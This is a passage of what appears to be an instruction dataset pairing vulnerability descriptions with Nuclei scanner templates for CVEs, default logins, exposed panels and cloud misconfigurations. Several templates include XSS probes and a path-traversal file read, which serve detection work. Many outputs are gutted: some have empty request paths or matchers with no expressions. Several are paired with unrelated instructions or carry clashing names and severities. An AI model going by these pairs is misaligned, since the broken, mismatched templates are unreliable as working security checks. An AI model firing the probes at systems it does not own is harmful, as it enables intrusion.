  severity: info
  description: TiDB queries with enabled native password support are susceptible to password brute-force attacks.
  tags: network,tidb,db,misconfig,tcp,vuln

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Use of Weak Credentials

Input:
Title: Use of Weak Credentials (CWE-1391)
Summary: The product uses weak credentials (such as a default key or hard-coded password) that can be calculated, derived, reused, or guessed by an attacker. By design, authentication protocols try to ensure that attackers must perform brute force attacks if they do not know the credentials such as a key or password. However, when these credentials are easily predictable or even fixed (as with default or hard-coded passwords and keys), then the attacker can defeat the mechanism without relying on brute f
Vulnerability Type: Use of Weak Credentials
Severity: medium
Indicators: vulnerability detected, error

Output:
id: panabit-default-login

info:
  name: Panabit Gateway - Default Login
  author: pikpikcu,ritikchaddha
  severity: critical
  description: Panabit Gateway default credentials were discovered.
  tags: panabit,default-login,intrusive,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "<META HTTP-EQUIV=REFRESH CONTENT="0;URL=/index.htm">"
          - "urn:schemas-microsoft-com:vml"
        part: body
        condition: and
      - type: word
        words:
          - "paonline_admin"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Customer-Managed Key Not Configured for Azure Database Tier

Input:
Title: Customer-Managed Key Not Configured for Azure Database Tier
Summary: Customer-Managed Key Not Configured for Azure Database Tier. Ensure that a Customer-Managed Key (CMK), also known as Bring Your Own Key (BYOK), is created and configured for your Microsoft Azure database tier to meet cloud security and compliance requirements within your organization. This check verifies if Azure database resources tagged with specific values use a CMK.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: azure-database-tier-cmk-absent

info:
  name: Customer-Managed Key Not Configured for Azure Database Tier
  author: princechaddha
  severity: high
  description: Ensure that a Customer-Managed Key (CMK), also known as Bring Your Own Key (BYOK), is created and configured for your Microsoft Azure database tier to meet cloud security and compliance requirements within your organization. This check verifies if Azure database resources tagged with specific values use a CMK.
  tags: cloud,devops,azure,microsoft,azure-key-vault,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Bonita - Default Login

Input:
Title: Bonita - Default Login
Summary: Bonita - Default Login. Bonita login was using default credentials which can led to gain super administrator access.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: bonita-default-login

info:
  name: Bonita - Default Login
  author: DhiyaneshDk
  severity: high
  description: Bonita login was using default credentials which can led to gain super administrator access.
  tags: bonita,default-login,misconfig,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Layout Without Menu"
          - "bonitasoft.ui.services"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Adobe AEM Explorer NodeTypes Exposure

Input:
Title: Adobe AEM Explorer NodeTypes Exposure
Summary: Adobe AEM Explorer NodeTypes Exposure. Adobe AEM Explorer NodeTypes is exposed.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: aem-explorer-nodetypes

info:
  name: Adobe AEM Explorer NodeTypes Exposure
  author: dhiyaneshDk
  severity: high
  description: Adobe AEM Explorer NodeTypes is exposed.
  tags: misconfig,aem,adobe,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/crx/explorer/nodetypes/index.jsp"
    matchers:
      - type: word
        words:
          - "nodetypeadmin"
          - "Registered Node Types"
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Springboot Actuator integrationgraph

Input:
Title: Springboot Actuator integrationgraph
Summary: Springboot Actuator integrationgraph. The integrationgraph endpoint exposes a graph containing all Spring Integration components.

Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: springboot-integrationgraph

info:
  name: Springboot Actuator integrationgraph
  author: ELSFA7110
  severity: low
  description: The integrationgraph endpoint exposes a graph containing all Spring Integration components.
  tags: misconfig,springboot,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/integrationgraph"
      - "{{BaseURL}}/actuator/integrationgraph"
    matchers:
      - type: word
        words:
          - "provider"
          - "integrationPatternType"
        part: body
        condition: and
      - type: word
        words:
          - "application/json"
          - "application/vnd.spring-boot.actuator"
          - "application/vnd.spring-boot.actuator.v1+json"
          - "application/vnd.spring-boot.actuator.v2+json"
          - "application/vnd.spring-boot.actuator.v3+json"
        part: header
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: GitHub Outdated RSA SSH Host key

Input:
Title: GitHub Outdated RSA SSH Host key
Summary: GitHub Outdated RSA SSH Host key. At approximately 05:00 UTC on March 24, out of an abundance of caution, we replaced our RSA SSH host key used to secure Git operations for GitHub.com.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: github-outdated-key

info:
  name: GitHub Outdated RSA SSH Host key
  author: naglis
  severity: info
  description: At approximately 05:00 UTC on March 24, out of an abundance of caution, we replaced our RSA SSH host key used to secure Git operations for GitHub.com.
  tags: file,keys,github,ssh,rsa

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-29889

Input:
Title: SQL Injection in glpi-project glpi
Summary: GLPI is a Free Asset and IT Management Software package. Prior to 10.0.15, an authenticated user can exploit a SQL injection vulnerability in the saved searches feature to alter another user account data take control of it. This vulnerability is fixed in 10.0.15.
Vulnerability Type: SQL Injection
Severity: high
Affected Products: glpi-project glpi
Indicators: error, vulnerability detected

Output:
id: CVE-2024-29889

info:
  name: GLPI 10.0.10-10.0.14 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: GLPI is a Free Asset and IT Management Software package. Prior to 10.0.15, an authenticated user can exploit a SQL injection vulnerability in the saved searches feature to alter another user account data take control of it.
  tags: cve,cve2024,glpi,sqli,authenticated,vuln

http:
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Content-Security-Policy Bypass - Alibaba UG

Input:
Title: Content-Security-Policy Bypass - Alibaba UG
Summary: Content-Security-Policy Bypass - Alibaba UG. Tags: xss, csp-bypass, alibaba-ug
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: alibaba-ug-csp-bypass

info:
  name: Content-Security-Policy Bypass - Alibaba UG
  author: renniepak,DhiyaneshDK
  severity: medium
  description: Content-Security-Policy Bypass - Alibaba UG
  tags: xss,csp-bypass,alibaba-ug,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Content-Security-Policy"
          - "alibaba.com"
        part: header
        condition: and


Instruction: Generate a Nuclei template for CVE-2023-6444

Input:
Title: Unknown Vulnerability in castos seriously_simple_podcasting
Summary: The Seriously Simple Podcasting WordPress plugin before 3.0.0 discloses the Podcast owner's email address (which by default is the admin email address) via an unauthenticated crafted request.
Vulnerability Type: Unknown Vulnerability
Severity: medium
Affected Products: castos seriously_simple_podcasting
Indicators: error, vulnerability detected

Output:
id: CVE-2023-6444

info:
  name: Seriously Simple Podcasting < 3.0.0 - Information Disclosure
  author: s4e-io
  severity: medium
  description: The Seriously Simple Podcasting WordPress plugin before 3.0.0 discloses the Podcast owner's email address (which by default is the admin email address) via an unauthenticated crafted request.
  tags: cve,cve2023,wordpress,wp-plugin,exposure,wp,seriously-simple-podcasting,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2017-14186

Input:
Title: Cross-Site Scripting (XSS) in fortinet fortios
Summary: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4 and below versions under SSL VPN web portal allows a remote user to inject arbitrary web script or HTML in the context of the victim's browser via the login redir parameter. An URL Redirection attack may also be feasible by injecting an external URL via the affected parameter.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: fortinet fortios
Indicators: error, vulnerability detected

Output:
id: CVE-2017-14186

info:
  name: FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting
  author: johnk3r
  severity: medium
  description: FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks such as a URL redirect. Affected versions are 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, and 5.4 and below.
  tags: cve2017,cve,fortigate,xss,fortinet,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"
    matchers:
      - type: word
        words:
          - "location=decodeURIComponent("javascript%3Aalert%28document.domain%29""
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: phpwiki Security Checks

Input:
Title: phpwiki Security Checks
Summary: phpwiki Security Checks. A simple workflow that runs all phpwiki related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: phpwiki-workflow

info:
  name: phpwiki Security Checks
  author: daffainfo
  severity: info
  description: A simple workflow that runs all phpwiki related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Polyfill.io - Backdoor

Input:
Title: Polyfill.io - Backdoor
Summary: Polyfill.io - Backdoor. The polyfill.io CDN was suspected to serve malware. Note: it's not exploitable anymore

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: polyfill-backdoor

info:
  name: Polyfill.io - Backdoor
  author: kazet
  severity: info
  description: The polyfill.io CDN was suspected to serve malware. Note: it's not exploitable anymore
  tags: cdn,polyfill-io,backdoor,malware,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: regex
        part: body


Instruction: Generate a Nuclei template to detect Insufficiently Protected Credentials

Input:
Title: Insufficiently Protected Credentials (CWE-522)
Summary: The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
Vulnerability Type: Insufficiently Protected Credentials
Severity: medium
Indicators: unauthorized

Output:
id: minio-default-login

info:
  name: Minio Default Login
  author: pikpikcu
  severity: high
  description: Minio default admin credentials were discovered.
  tags: default-login,minio,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Content-Type: application/json"
        part: header
      - type: word
        words:
          - "uiVersion"
          - "token"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: unauth-selenium-grid-console

info:
  name: Selenium Grid Console - Detect
  author: pussycat0x
  severity: info
  description: Selenium Grid Console panel was detected.
  tags: misconfig,unauth,selenium,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/grid/console"
      - "{{BaseURL}}/console"
    matchers:
      - type: word
        words:
          - "Grid Console"
          - "view config"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2019-9194

Input:
Title: OS Command Injection in std42 elfinder
Summary: elFinder before 2.1.48 has a command injection vulnerability in the PHP connector.
Vulnerability Type: OS Command Injection
Severity: critical
Affected Products: std42 elfinder
Indicators: error, vulnerability detected

Output:
id: CVE-2019-9194

info:
  name: elFinder <= 2.1.47 - Command Injection
  author: r00tuser111
  severity: critical
  description: elFinder before 2.1.48 has a command injection vulnerability in the PHP connector.
The vulnerability occurs when performing image operations on JPEG files, where the filename
is passed to the `exiftran` utility without proper sanitization, allowing command injection.
  tags: cve,cve2019,elfinder,rce,intrusive,file-upload,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl


Instruction: Generate a Nuclei template for: OpenTouch Multimedia Services - Detect

Input:
Title: OpenTouch Multimedia Services - Detect
Summary: OpenTouch Multimedia Services - Detect. OpenTouch Multimedia Services Login Panel was detected.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: opentouch-multimediaservices-panel

info:
  name: OpenTouch Multimedia Services - Detect
  author: righettod
  severity: info
  description: OpenTouch Multimedia Services Login Panel was detected.
  tags: panel,opentouch,login,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/authenticationform/login"
      - "{{BaseURL}}/authenticationform/jsp/logonWeb.jsp"
    matchers:
      - type: word
        words:
          - "OpenTouch"
          - "Multimedia Services"
          - "Alcatel-Lucent"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: HUE Personal Wireless Lighting Panel

Input:
Title: HUE Personal Wireless Lighting Panel
Summary: HUE Personal Wireless Lighting Panel. HUE personal wireless lighting panel was detected.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: hue-personal-wireless-panel

info:
  name: HUE Personal Wireless Lighting Panel
  author: Hardik-Solanki
  severity: info
  description: HUE personal wireless lighting panel was detected.
  tags: hue,iot,wireless,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "hue personal wireless lighting"
          - "Open Source"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: GKE Clusters Without VPC-Native Traffic Routing

Input:
Title: GKE Clusters Without VPC-Native Traffic Routing
Summary: GKE Clusters Without VPC-Native Traffic Routing. Ensure that VPC-native traffic routing is enabled for your Google Kubernetes Engine (GKE) clusters. This feature enhances integration with Google Cloud's VPC, improving network performance, scalability, and security through the use of alias IP address ranges.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: gcloud-gke-vpc-native-disabled

info:
  name: GKE Clusters Without VPC-Native Traffic Routing
  author: princechaddha
  severity: medium
  description: Ensure that VPC-native traffic routing is enabled for your Google Kubernetes Engine (GKE) clusters. This feature enhances integration with Google Cloud's VPC, improving network performance, scalability, and security through the use of alias IP address ranges.
  tags: cloud,devops,gcp,gcloud,gke,kubernetes,security,networking,vpc,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-53704

Input:
Title: Authentication Bypass in sonicwall sonicos
Summary: An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.
Vulnerability Type: Authentication Bypass
Severity: critical
Affected Products: sonicwall sonicos
Indicators: error, vulnerability detected

Output:
id: CVE-2024-53704

info:
  name: SSL VPN Session Hijacking
  author: johnk3r
  severity: critical
  description: An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.
  tags: cve,cve2024,sonicwall,kev,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "NELaunchX1"
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: castingcallclub

info:
  name: CastingCallClub User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: CastingCallClub user name information check was conducted.
  tags: osint,osint-hobby,castingcallclub,discovery

http:
  - method: GET
    path:
      - "https://www.castingcall.club/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "| Casting Call Club"
        part: body


Instruction: Generate a Nuclei template for CVE-2023-25194

Input:
Title: Deserialization of Untrusted Data in apache kafka_connect
Summary: A possible security vulnerability has been identified in Apache Kafka Connect API.
This requires access to a Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config
and a SASL-based security protocol, which has been possible on Kafka Connect clusters since Apache Kafka Connect 2.3.0.
When configuring the connector via the Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config`
property for any of the connector's Kafka clients to "com.sun.security.auth.module.JndiLoginModule", which can be done via the
`producer.override.sasl.jaas.config`, `consumer.override.sasl.jaas.config`, or `admin.override.sasl.jaas.config` properties.
This will allow the server to connect to the attacker's LDAP server
and deserialize the LDAP response, which the attacker can use to execute java deserialization gadget chains on the Kafka connect server.
Attacker can cause unrestricted deserialization of untrusted data (or) RCE vulnerability when there are gadgets in the classpath.

Since Apache Kafka 3.0.0, users are allowed to specify these properties in connector configurations for Kafka Connect clusters running with out-of-the-box
configurations. Before Apache Kafka 3.0.0, users may not specify these properties unless the Kafka Connect cluster has been reconfigured with a connector
client override policy that permits them.

Since Apache Kafka 3.4.0, we have added a system property ("-Dorg.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage
in SASL JAAS configuration. Also by default "com.sun.security.auth.module.JndiLoginModule" is disabled in Apache Kafka Connect 3.4.0.

We advise the Kafka Connect users to validate connector configurations and only allow trusted JNDI configurations. Also examine connector dependencies for
vulnerable versions and either upgrade their connectors, upgrading that specific dependency, or removing the connectors as options for remediation. Finally,
in addition to leveraging the "org.apache.kafka.disallowed.login.modules" system property, Kafka Connect users can also implement their own connector
client config override policy, which can be used to control which Kafka client properties can be overridden directly in a connector config and which cannot.

Vulnerability Type: Deserialization of Untrusted Data
Severity: high
Affected Products: apache kafka_connect
Indicators: error, vulnerability detected

Output:
id: CVE-2023-25194

info:
  name: Apache Druid Kafka Connect - Remote Code Execution
  author: j4vaovo
  severity: high
  description: The vulnerability has the potential to enable a remote attacker with authentication to run any code on the system. This is due to unsafe deserialization that occurs during the configuration of the connector through the Kafka Connect REST API
  tags: packetstorm,cve,cve2023,apache,druid,kafka,rce,jndi,oast,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "dns"
        part: interactsh_protocol
      - type: word
        words:
          - "RecordSupplier"
        part: body
      - type: status
        status:
          - 400


Instruction: Generate a Nuclei template to detect Use of Default Credentials

Input:
Title: Use of Default Credentials (CWE-1392)
Summary: The product uses default credentials (such as passwords or cryptographic keys) for potentially critical functionality. It is common practice for products to be designed to use
	default keys, passwords, or other mechanisms for
	authentication.  The rationale is to simplify the
	manufacturing process or the system administrator's task of
	installation and deployment into an enterprise. However, if
	admins do not change the defaults, it is easier for attackers
	to bypass authentication quickly acro
Vulnerability Type: Use of Default Credentials
Severity: high
Indicators: vulnerability detected, error

Output:
id: chirpstack-default-login

info:
  name: ChirpStack - Default Login
  author: t3l3machus
  severity: high
  description: Fresh ChirpStack installations use the default credentials (admin/admin), allowing attackers to easily access the admin console.
  tags: default-login,chirpstack,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2024-8673

Input:
Title: Unknown Vulnerability in urbanbase z-downloads
Summary: The Z-Downloads WordPress plugin before 1.11.7 does not properly validate uploaded files allowing for the uploading of SVGs containing malicious JavaScript.
Vulnerability Type: Unknown Vulnerability
Severity: critical
Affected Products: urbanbase z-downloads
Indicators: error, vulnerability detected

Output:
id: CVE-2024-8673

info:
  name: Z-Downloads < 1.11.7 - Cross-Site Scripting
  author: Splint3r7
  severity: low
  description: The plugin does not properly validate uploaded files allowing for the uploading of SVGs containing malicious JavaScript.
  tags: cve,cve2024,wpscan,wp-plugin,wp,authenticated,wordpress,z-downloads,vuln

http:
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: aqua-enterprise-panel

info:
  name: Aqua Enterprise - Panel Detect
  author: idealphase
  severity: info
  description: Aqua Enterprise panel was detected.
  tags: panel,aqua,aquasec,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Aqua Enterprise</title>"
          - "<title>Aqua Cloud Native Security Platform</title>"
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: pipfile-config

info:
  name: Pipfile Config - Detect
  author: DhiyaneshDK
  severity: info
  description: Pipfile configuration information was detected.
  tags: exposure,pip,devops,cicd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Pipfile"
    matchers:
      - type: word
        words:
          - "[[source]]"
          - "[packages]"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Graphql Apollo Detect

Input:
Title: Graphql Apollo Detect
Summary: Graphql Apollo Detect. Tags: tech, graphql, apollo
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: graphql-apollo-detect

info:
  name: Graphql Apollo Detect
  author: princechaddha
  severity: info
  description: Graphql Apollo Detect
  tags: tech,graphql,apollo

http:
  - method: POST
    path:
      - "{{BaseURL}}/graphql"
      - "{{BaseURL}}/api/graphql"
      - "{{BaseURL}}/query"
      - "{{BaseURL}}/"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Directive "@skip" argument "if" of type "Boolean!" is required, but it was not provided."
        part: body
      - type: word
        words:
          - "Content-Type: text/html"
        part: header
      - type: word
        words:
          - "<html"
          - "<body"
        part: body
        condition: or


Instruction: Generate a Nuclei template for: Jinhe OA_C6_UploadFileDownLoadnew - Arbitrary File Read

Input:
Title: Jinhe OA_C6_UploadFileDownLoadnew - Arbitrary File Read
Summary: Jinhe OA_C6_UploadFileDownLoadnew - Arbitrary File Read. There is an arbitrary file reading vulnerability in the UploadFileDownLoadnew.aspx interface of Jinhe OA C6. An unauthenticated attacker can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc., causing the website to be in Extremely unsafe state.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: jinhe-oa-c6-upload-lfi

info:
  name: Jinhe OA_C6_UploadFileDownLoadnew - Arbitrary File Read
  author: pussycat0x
  severity: high
  description: There is an arbitrary file reading vulnerability in the UploadFileDownLoadnew.aspx interface of Jinhe OA C6. An unauthenticated attacker can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc., causing the website to be in Extremely unsafe state.
  tags: jinhe-oa-c6,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/c6/JHSoft.Web.CustomQuery/UploadFileDownLoadnew.aspx/?FilePath=../Resource/JHFileConfig.ini"
    matchers:
      - type: word
        words:
          - "MaxFolderTotal=1"
          - "[JHFile]"
          - "FolderTotal=1"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2020-12054

Input:
Title: Cross-Site Scripting (XSS) in catchplugins catch_breadcrumb
Summary: The Catch Breadcrumb plugin before 1.5.4 for WordPress allows Reflected XSS via the s parameter (a search query). Also affected are 16 themes (if the plugin is enabled) by the same author: Alchemist and Alchemist PRO, Izabel and Izabel PRO, Chique and Chique PRO, Clean Enterprise and Clean Enterprise PRO, Bold Photography PRO, Intuitive PRO, Devotepress PRO, Clean Blocks PRO, Foodoholic PRO, Catch Mag PRO, Catch Wedding PRO, and Higher Education PRO.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: catchplugins catch_breadcrumb
Indicators: error, vulnerability detected

Output:
id: CVE-2020-12054

info:
  name: WordPress Catch Breadcrumb <1.5.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Catch Breadcrumb plugin before 1.5.4 contains a reflected cross-site scripting vulnerability via the s parameter (a search query). Also affected are 16 themes if the plugin is enabled: Alchemist and Alchemist PRO, Izabel and Izabel PRO, Chique and Chique PRO, Clean Enterprise and Clean Enterprise PRO, Bold Photography PRO, Intuitive PRO, Devotepress PRO, Clean Blocks PRO, Foodoholic PRO, Catch Mag PRO, Catch Wedding PRO, and Higher Education PRO.
  tags: cve,cve2020,wordpress,xss,wp-plugin,wpscan,catchplugins,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?s=%3Cimg%20src%3Dx%20onerror%3Dalert%28123%29%3B%3E"
    matchers:
      - type: word
        words:
          - "<img src=x onerror=alert(123);>"
          - "catch-breadcrumb"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-41597

Input:
Title: Cross-Site Scripting (XSS) in eyoucms eyoucms
Summary: EyouCms v1.6.2 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /admin/twitter.php?active_t.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: eyoucms eyoucms
Indicators: error, vulnerability detected

Output:
id: CVE-2023-41597

info:
  name: EyouCms v1.6.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: EyouCms v1.6.2 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /admin/twitter.php?active_t.
  tags: cve,cve2023,eyoucms,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "eyoucms"
          - "ey_fleshVerify"
        part: body
        condition: or
  - method: GET
    path:
      - "{{BaseURL}}/admin/twitter.php?active_t=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
    matchers:
      - type: word
        words:
          - ""><script>alert(document.domain)</script>"
        part: body
      - type: word
        words:
          - "text/html"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2017-3881

Input:
Title: Vulnerability (CWE-20) in cisco ios and others
Summary: A vulnerability in the Cisco Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of an affected device or remotely execute code with elevated privileges. The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors: (1) the failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device; and (2) the incorrect processing of malformed CMP-specific Telnet options. An attacker could exploit this vulnerability by sending malformed CMP-specific Telnet options while establishing a Telnet session with an affected Cisco device configured to accept Telnet connections. An exploit could allow an attacker to execute arbitrary code and obtain full control of the device or cause a reload of the affected device. This affects Catalyst switches, Embedded Service 2020 switches, Enhanced Layer 2 EtherSwitch Service Module, Enhanced Layer 2/3 EtherSwitch Service Module, Gigabit Ethernet Switch Module (CGESM) for HP, IE Industrial Ethernet switches, ME 4924-10GE switch, RF Gateway 10, and SM-X Layer 2/3 EtherSwitch Service Module. Cisco Bug IDs: CSCvd48893.
Vulnerability Type: Vulnerability (CWE-20)
Severity: critical
Affected Products: cisco ios, cisco ios_xe
Indicators: error, vulnerability detected

Output:
id: CVE-2017-3881

info:
  name: Cisco IOS 12.2(55)SE11 - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: A vulnerability in the Cisco Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of an affected device or remotely execute code with elevated privileges. The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors: (1) the failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device; and (2) the incorrect processing of malformed CMP-specific Telnet options. An attacker could exploit this vulnerability by sending malformed CMP-specific Telnet options while establishing a Telnet session with an affected Cisco device configured to accept Telnet connections. An exploit could allow an attacker to execute arbitrary code and obtain full control of the device or cause a reload of the affected device. This affects Catalyst switches, Embedded Service 2020 switches, Enhanced Layer 2 EtherSwitch Service Module, Enhanced Layer 2/3 EtherSwitch Service Module, Gigabit Ethernet Switch Module (CGESM) for HP, IE Industrial Ethernet 